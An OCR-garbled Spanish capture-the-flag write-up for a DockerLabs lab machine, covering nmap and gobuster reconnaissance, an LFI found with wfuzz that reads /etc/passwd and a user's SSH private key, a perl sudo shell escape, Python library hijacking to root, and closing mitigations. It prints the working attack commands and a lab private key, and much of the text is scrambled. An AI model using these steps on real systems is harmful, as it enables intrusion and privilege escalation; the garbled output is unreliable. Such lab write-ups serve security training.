. "WRITE-UP * .
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[:—(rootﬁ}Hali}—Ifhﬂme!kalifﬂuwnluads]

# nmap -vvv -sSC -Pn -T4 -sV 172.17.0.2 -oG escaneo
jost discovery disabled (-Pn). All addresses
Starting Nmap 7.95 ( https://nmap.org ) at 2025-83-27 09:21 EDT
\SE: Loaded 157 scripts for scanning.

NSE: Script Pre-scanning.

YSE: Starting runlevel 1 (of 3) scan.

[nitiating NSE at 09:21
-ompleted NSE at ©09:21, 0.00s
NSE: Starting runlevel 2 (of
[nitiating NSE at 09:21

~ompleted NSE at @9:21, 0.0@s elapsed

SE: Starting runlevel 3 (of 3) scan.

[nitiating NSE at 09:21

_ompleted NSE at 09:21, 0.00s elapsed

[nitiating ARP Ping Scan at 989:21

scanning 172.17.0.2 [1 port]

Completed ARP Ping Scan at 89:21, 0.03s elapsed (1 total hosts)
[nitiating SYN Stealth Scan at 09:21

scanning psycho (172.17.0.2) [10800 ports]

Jiscovered open port 22/tcp on 172.17.0.2

Jiscovered open port 80/tcp on 172.17.0.2

completed SYN Stealth Scan at @9:21, 08.05s elapsed (1000 total ports)
[nitiating Service scan at ©89:21

Scanning 2 services on psycho (172.17.0.2)

—ompleted Service scan at 09:21, 65.03s elapsed (2 services an 1 host)
NSE: Script scanning 172.17.0.2.

elapsed
3) scan.

(ATE SERVICE REASON VERSION
open ssh syn-ack ttl 64 OpenSSH 9.6pl1 Ubuntu 3ubuntul3.4 (Ubuntu Linux; protocol 2.0)
hostkey:

5 38:bb:36:24:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)

ia-sha2-nistp256 AAAAE2ZVjZHNhLXNoYTItbmlzdHAYNTYAAAAIbmlzdHAYNTYAAABBBLmfDzETIXGKWifPXb@IRYMnpBIhNVAen6M+1kDFell/

FgPI9TZ7aTybt2qudKI8+r3wcsiBws=

B aldihe:4T:6FT:76:7F2:ba:50:ch:1a:54:40:95:9c:20:41 (ED25519)

ed25519 AAAAC3INzaCllZDIINTESAAAATHtGViO9ya8KY3fjIgNDQcCORUW20L1VFDd+uUEELLP2Q
| open http syn-ack ttl 64 Apache httpd 2.4.58 {((Ubuntu))

i-methods:

ipported Methods: GET HEAD POST OPTIONS

i=title: 4¥You

-server-header: Apache/2.4.58 (Ubuntu)

ldress: B2:42:AC:11:96:02 (Unknown)

@ Info: 0S: Linux; CPE: cpe:/o:linux:Llinux_kernel

icript Post-scanning.
itarting runlevel 1 (of 3) scan.,
(ting NSE at @9:21
ted NSE at ©29:21, 0.@0s elapsed
arting runlevel 2 (of 3) scan.
@ NSE at @9:21

rrect results at ﬂLlub:ffnmup.urquuhnlLf i
seconds
1001 (40.B36KB)

will be marked 'up' and scan times may be sla

¢Qué es nmap?

Nmap es wuna herramienta de cédigo
abierto utilizada para el escaneo y
analisis de redes. Su principal
objetivo es deseubrir hosts vy
servicios activos en una red
informatica, proporcionando
informacién valiosa para tareas de
administracién de red y auditoria de
seguridad.

Comenzamos con un escaneo de puertos
usando nmap, lo que nos revela que los
puertos 22 (SSH) y 8@ (HTTP) estéan
abiertos.

RECONOCIMIEN

\
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Como vemos abajo a la izquierda
sale un mensaje de ERROR. Asi que By TLuisillo_o
vamos a proceder en primer lugar a ARATR LIS PSSR LS
buscar directorios ocultos con

gobuster. sosihodii:

A home for peopl | their very best

Welcome to this CTF

Experience the ultimate in lorem and quiere un mundo de caramele.

B 2024 @TLuisillo o & DockerLabs

BUSQUEDA DE
VULNERABIL IDADES




—(root® kali)-[/home/kali/Downloads]
—# gobuster dir http://psycho/ -w /usr/share/wordlists/dirb/common.txt

' Gobuster v3.6
: by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
' Url: http://psycho/

Method: GET

+1
¢ ]
+] Threads: 10

+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404

+] User Agent: gobuster/3.6
+]

Timeout: 10s

Encontramos 2 directorios, pero solo 1 es accesible asi _. _ —— _ .
que vamos a abrir ese link para ver que hay. Starting gobuster 1n directory enumeration mode

/.htaccess Status: 40 [Size: 271)
/.htpasswd [Size: 271]
/-hta [Size: 271]
- e — : = /assets (Status: 301) [Size: 301] [— http://psycho/assets/]
(5  Indexof /assets X http://psychofindex.php?sec: X 4You /index.php (Status: 2 00 [51_ ze: 2596]
/server-status (Status: 403) [Size: 271]

T e i O @ psycho/assets/ Progress: 4614 / 4615 (99.98%)

KaliLinux #8 KaliTools = KaliDocs X KaliForums ¢ Kali NetHunter = Expl Finished

Index of /assets

Name Last modified Size Description

_ Solo hay una imagen dentro, por lo tanto, no sera de gran ayuda para
@ Parent Directory . explotarla.

@ background.jpg 2024-08-09 23:30 84K

Apache/2 .4.58 (Ubuntu) Server at psycho Port 80 Volvemos atras al inicio y probamos con wfuzz para saber si es
vulnerable a LFI.




l_—{ root® kali)-[/home/kali/Downloads]

# wfuzz --hl=62 -w /usr/share/seclists/Discovery/Web-Content/common.txt 'http://psycho/index.php?FUZZ=/etc/passwd’
fusr/1ib/python3/dist-packages/wfuzz/ __init__ .py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work
correctly when fuzzing S5SL sites. Check Wfuzz's documentation for more information.

e e e e e 3 e e e e e e s e v ke e e v e e o e ek 2 ke ek vk ke ek ke vk ek e ok ke ok

+ Wfuzz 3.1.0 - The Web Fuzzer " c’Qué es LFI?

AR EEETEEEEEEE A EETEAEEATEETAAETAXTEETTETEET AT EEAE T A AT Ak hddiik

V7 /4

Target: http://psycho/index.php?FUZZ=/etc/passwd
Total requests: 4744

Las vulnerabilidades LFI (Local File
Inclusion o inclusién de archivos

1D Hesponse Lines Word Chars pél'yf-l_l]ﬂd locales) son vulnerabllldades que
permiten leer cualquier archivo que
P00003688: 200 88 L 199 W 3870 Ch "secret” B encuentre dentro del mismo

servidor, incluso si el archivo se
Total time: 2.3] g7 . &
s b A el U encuentra fuera del directorio web
Processed Requests: 4744

Filtered Requests: 4743 donde estéd alojada la pagina.
Reauests/sec.: 2052.624

¢Qué es WFUZZ?

LFI CON WFUZZ i
| | Wfuzz es una herramienta de fuerza

bruta para aplicaciones web, escrita
en Python, que se utiliza
principalmente para descubrir
recursos ocultos (como archivos,
directorios, parametros, subdominios
o valores @especificos) mediante
fuzzing.
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Vemos que efectivamente es vulnerable a LFI.

Al final de la pagina encontramos los usuarios.

Luisillo.

TP
Hay

Vaxel y

aria-expanded="aluc"

aria-label="Tocggle |

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:X:3:3:sys:/dev:/usr/sbhin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

games:X:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man: /var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: /usr/sbhin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbhin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbhin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534: nobody: /nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu: /home/ubuntu: /bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102: : /nonexistent: /usr/shin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
vaxei:x:1001:1001:,,,:/home/vaxei:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbhin/nologin
luisillo:x:1002:1002::/home/luisillo: /bin/sh

DPCoO~~NJNO Ul & WM EHOODOO-NSNOWD £ WO WSO WU & W

(Como sabemos que Vaxei y Luisillo son los usuarios?

Por el pathing de la ruta: /home/luisillo

Adema@s el directorio passwd es donde se encuentran los usuarios
almacenados en Linux por eso en la ruta que hemos puesto antes para
el LFI hemos puesto /FUZZ=/etc/passwd.



Dentro de la ruta que hemos visto antes buscamos para VD @ efestivaiinte 10 tiene vamni .

ver si alguno de estos usuarios tiene el id del rsa Ahadimos su clave a un fichero que llamaremos key para luego poder

del ssh.

AL I

O el O e b I o B T ¥ o T B T o L O L T TR o L W LY 0 B R QUL R N e

b3BlbnNzaClrZXktdjEAAAAABGSvbmUAAAAEbMOuZQAAAAAAAAABAAABLWAAAAdZzc2gtcn
NhAAAAAWEAAQAAAYEAVbN4Z0aACGOWASLY+2R1PpTmBLOVBVufshHnzIzQIiBSgZUED5Dk
2LxNBdzStQBAx6ZMsD+jUCUO2DUTOWOA7BQUrP/PqrZ+LaGgeBNcVZwy faJlvHIy2MLVZ3 1ySQrZWheUe fANp4BE5AYwzDNn37U3f3T5D
gCBXtqfpaq@JcPbRZT503T250VbDNQj fg5G00Q+Vw31J8yAsShwrHPv3/3JgFGnzKgTB7Qd
ZbnLFvO8Nu+ebqgePflxJonN6gVnrNQAAAAMBAAEAAAGADKS7QsTf/priBf3NUJz+YbJ4NX
5e6YJIXjyb30JK+wUNzvOEdnqZZIh4s7F2n+VY70qFL0tkLQmXtfPIgcEbjyyrodbgwoj4
4sRhIwspoIrVGONTKXJojWdqTG/aRk0gXKxsmNb+snLoFPFoEUHZD]pePFcgyjXlaYmZOG
+bzNvORNggdeWZszE13jvb5B8XtDzN4pkGLGvK1+8bInlgulmktQKItXoVhhokGkp4b+fu
7YjDiaS4CyWsxX50wG/ZMgYBwFLRbCDUUdKZxsmCbreHxLKT/sae64E2ahuBSckYZ1IzTd
21p27E00PvdP1t9gny83JuFHBLChMd4sHg/oU8vGAiGnIvOCWs4wMArbpJQ+EALIk3GYvh
oqWp3Q4N4F1tmwlrbgX2KP2T5yB+rLoBxfIwLELZ1zd+08mfP9Yknaw2vVYpUixUgLNWH]
ZnmN1uAScPAd1ZNvIkPm6IPcThj1hVCkFXgWjQn6NdJj+NGNWcBeUrxBkHOvToD7gfAAAA
wQCvSzmVYSxpX3b9SgH+sHH5YmOXRIGScBhErWMDT9glzcaeEVB302iH/T+IrtULm4PXiP
kwFc5ZHHZTw2dd0X4VpEO2)s TkgwTEyqWRMcZHTK19Pry2zskVmu6F94s0cN8154LeQBNx
gT22Dr/KJA71HkOH7 TyeGnlsmBtZoa3sqp3co9inkccnhmlKUeduL4RcSysDgXYbBUtNB6
G118HYysm8ISCsoR4KSgxmC51qCMTfBy7z/6n0X7sm5/kP+IMsAAADBAOSTiHrYTL/kGsPM
ITaekvQUIWCp+FCHKO7 jwzNp4buYAn03iGvhVQpcS7UboD8/mve207e97ugK4Ngc685SzSu
bDgAnd4FF3NLoXP/qPZPaPS1FR10pY0jHyB+U6RELgal34i9AierMc+4M@coUMZvxqay3o

autentificarnos en el ssh.

kali@kali: ~/Downloads X vaxei@f70899bafa88: ~ X kali@kali: ~/Downloads x

GNU nano 8.3
a——BEGIN OPENSSH PRIVATE KEY
b3BLlbnNzaClrZXktdjEAAAAABGS5vbmUAAAAEbMOUZQAAAAAAAAABAAABLWAAAAdzZCc2gtcn
NhAAAAAWEAAQAAAYEAVDN4Z0aACGOWASLY+2R1PpTmBlOVvBVUufshHnzIzQI1iBSgZUED5Dk
2LxNBdzStQBAx6ZMsD+jUCU@2DUfOWOA7BQUrP/PqrZ+LaGgeBNcVZwyfallvHIy2MLVZ3
tmrnPURYCEcQ+4aGoGye4ozgao+FdIJELH31t10VYaPX+bZX+bSxYrn6vQp2Djbl/moXtWF
ACgDeJGuYJIIdYBGhh63+E+hcPmZgMvXDxH806vgCF1rXInxs3003H2kB1LwWVYSZFdLEhS
t3QrmU6SZh/p3c2Lino+4eyvC2VCtuF23269ceSVCgkKzP9svKe7VCgHOfYRWr7sssuQqga
0Zr80Vzpk7KEQA4ck4kAQLImMMUZPpOLtDNP8AY81THANRMZzuUXJIJCt1laF5R58A2ngETkB jDMM
2fftTd/dPkOAIFe2p+1qrQlw9tF1Pk7dPbmhVsM1CN+DkY5D5XDeUnzICxKHCsc+/f/cmA
UafMgBMHtB1lucsW/Tw2757qgp49+XEmic3gBWes1AAAFiGAUOeRgFNHKAAAAB3NzaClyc2
EAAAGBAL2zeGTmgAhtMAOS2PtkZT6USgZdLwVbn7IR58yMOCIgUoGVBA+Q5N18TQXCcOrUA
QMemTLA/01ATNNg1Hz1tAOwWUFKz/z6q2fi2hoHgTXFWcMn21iZbxyctjC1lWd7Zq5z1EWAhH
EPuGhgBsnukKM4GqPhXSRIR99bddFWGj1/m2V/mOsWK5+r0Kdg425f5qF7VhQA0A31RrmCS
HWARoYet/hPoXD5mYDL1w8R/KOr4AhYqlyJ8bNztNx9pAdS8FLWPWRXZRIfLAdOKS510kmY f
6d3N1i9Z6PuHsrwt1Qrbhdt9uvXHk1QqpCsz/bLynulQgh/X2EVg+7LLLKkKmjma/D1c6Z0y
hNAOHJOJAEC4pp1lM6TpbQ5z/AMvIRWIOTM7 1ySQrZWheUefANp4BESAYwzDNNn37U3f3T5D
gCBXtqfpaq@JcPbRZT503T250VbDNQjfg5G0Q+Vw31I8yAsShwrHPv3/31gFGnzKgTB7Qd
ZbnLFv@8Nu+e6qePf1xJonN6gVnrNQAAAAMBAAEAAAGADKS7QsTf/priBf3NUJz+YbJ4NX
5e6YJIXjyb30JK+wUNzvOEdngZZIh4s7F2n+VY70gF1L0tkLQmXtfPIgcEbjyyr0dbgwdj4
4sRhIwspoIrVGONTKXJojWdgTG/aRk0gXKxsmNb+snLoFPFoEUHZD jpePFcgyjX1laYmZ0OG
+bzNvORNgg4eWZszE13Jvb5B8XtDzN4pkGLGVvK1+8bInlgulmktQKItXoVhhokGkp4b+fu
7YjD1aS4CyWsxX50wG/ZMgYBwFLRbCDUUdAKZxsmCbreHxLKT/sae64E2ahuBSckYZ11zTd
21p27E00PvdP1t9gny83JuFHBLChMd4sHg/oU8vGAIGNIvOCWs4wMArbpJQ+EALJIk3GYvh
oqWp3Q4N4F1tmwlrbgX2KP2T5yB+rLoBxfIJwLELZ1zd+08mfP9Yknaw2vVYpUlxUgLNWHJ

clave_vaxel

Con el siguiente comando le daremos permiso a la clave para
que pueda ser ejecutada en el login por ssh.
chmod 600 clave_vaxei



ESCALADA DE PRIVILEGIOS

Nos conectamos al ssh y vemos cémo vaxeigf70899bafa88:/opt$ ls
podemos entrar. paw.py

vaxeigf70899bafa88:/opt$ cat paw.py
import subprocess
import os

- - - i
[:;(rootaakall} [ /home/kali/Downloads ] import sys

ssh -i clave_vaxel vaxei@l72.17.0.2

Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.13-amd64 x86_64) lmport time
* Documentation: https://help.ubuntu.com # F
* Management: https://landscape.canonical.com def dummy_function(data):
* Support: https://ubuntu.com/pro resgylt = """

for char 1in data:

result += char.upper() if char.islower() else char.lower()
return result

This system has been minimized by removing packages and content that
not required on a system that users do not log 1nto.

To restore this content, you can run the 'unminimize' command.

Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1 8 CROIEA Pata AJSEHERT R SETIpL
vaxeigf70899bafa88:~$ whoami os.system("echo 0Ojo Aqui")
vaxel

vaxeigf70899bafa88:~$
: Navegando por la maquina encontramos el siguiente script en python
asi que vamos a intentar hacer python hijacking.



PYTHON
HIJACKING

¢QUE ES PYTHON LIBRARY HiJACKING?

Python Library Hijacking es una técnica de escalada de privilegios que explota cébmo Python importa sus
médulos o librerias cuando se ejecuta un script.

(COmo funciona?

Cuando un script de Python se ejecuta, busca las librerias que necesita en un orden especifico (por
ejemplo, primero en el directorio actual, luego en rutas del sistema). Si un atacante tiene acceso a ese

directorio (como puede pasar en /opt o directorios mal configurados), puede:

e Crear un archivo .py malicioso con el mismo nombre que una libreria legitima.
e Inyectar cédigo malicioso (por ejemplo, que eleve privilegios o ejecute una reverse shell).
e Cuando el script legitimo se ejecute (especialmente si tiene permisos de root), cargaréd el archivo malicioso

en lugar del original.



Para ejecutar el script necesitaremos ser luisillo. Para ser luisillo
primero tenemos que ver permisos tiene el usuario vaxei. Usando 1ls -1
Vemos sus permisos pero si usamos sudo -1 vemos los permisos que tiene
el usuario actual en el sistema. Podemos ver que luisillo NOPASSWD
/usr/bin/perl

Esto quiere decir que
que nos pidan una contrasefa.

una Shell en perl como luisillo sin

vaxeinf70899bafa88: /opt$ 1s -1
total 12
druxr-xr-x 2 root root 4096 Mar 27 19:32 _ pycache__
=FwW=r—r— 1 fobt Troet 967 Aug 10 2024 paw.py
-rw-rw-r-— 1 vaxei vaxel 44 Mar 27 19:25 subprocess.py
vaxeigf70899bafaB8: /opt$ sudo -1
Matching Defaults entries for vaxei on f70899bafaBS8:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/lecal/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/sna

User vaxel may run the following commands on f78899%bafa88:
(luisille} NOPASSWD: Jusr/bin/perl
vaxeigf70899bafass: /opts [

como luisillo ejecutamos

el script y ya podremos ser root usando un
/bin/bash -p o bash -p

vaxeigf70899bafa88: /opt$ sudo fusr/bin/python3 fopt/paw.py
[sudo] password for vaxei:
sudo: a password is reguired
vaxeiaf70899bafa88: /opt$ sudo -u luisille perl -e 'exec "/bin/bas
luisilloaf70899bafaB8: /opt$ sudo fusr/bin/python3 /opt/paw.py
0jo Agui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSE
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command( )
File "/opt/paw.py", line 30, in run_command
subprocess.run([ 'echo Hello!"], check=True)
AttributeError: module ‘subprocess' has no attribute ‘run’
luisillopf70899bafa88: /opt$ whoami
luisilio
luisillogf70899bafa88: /opt$ /bin/bash -p
bash-5.28# whoami
root
bash-5.2% \s
pycachﬂ paw.py subprocess.py
bash-5.2# |



¢De donde hemos obtenido el codigo para
desde el binario perl convertinos en
sudo sin necesidad de contrasena?

GTFOBins (abreviatura de Get The Fuck
Out Binaries) es wuna recopilacién de

binarios disponibles en sistemas
Unix/Linux que pueden ser explotados
por un atacante para escalar

privilegios, evadir restricciones de
seguridad o mantener persistencia,
cuando tiene acceso a una shell con
privilegios limitados.

en nuestro caso, buscamos perl en el
buscador de la web y usaremos la opcion
que estamos explotando, en nuestro caso
una shell.

Como podemos ver es el mismo comando
que hemos utilizado en las pagina
previa.

GTFOBins s ns

GTFOBIns is a curated list of Unix binaries that can be used to bypass local security restrictions
in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused to getthe+2k break
out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and
reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is not a list of exploits, and the programs listed here are not vulnerable per se,
rather, GTFOBIns is a compendium about how to live off the land when you only have certain binaries available.

GTFOBIns is a collaborative project created by Emilio Pinna and Andrea Cardaci where everyone can contribute
with additional binaries and techniques.

If you are looking for Windows binaries you should visit LOLBAS.

It can be used to break out from restricted environments by spawning an interactive

pEFl -e ‘exec "/bin/sh";’




MITIGACIONES

Buenas practicas que podrian haber prevenido esta intrusién:

Validar y restringir correctamente los parametros en URLs para evitar LFI.
Nunca dejar claves privadas en directorios accesibles.

Evitar el uso de imports sin rutas absolutas en scripts ejecutados como root.

Revisar y restringir correctamente las configuraciones de sudo.



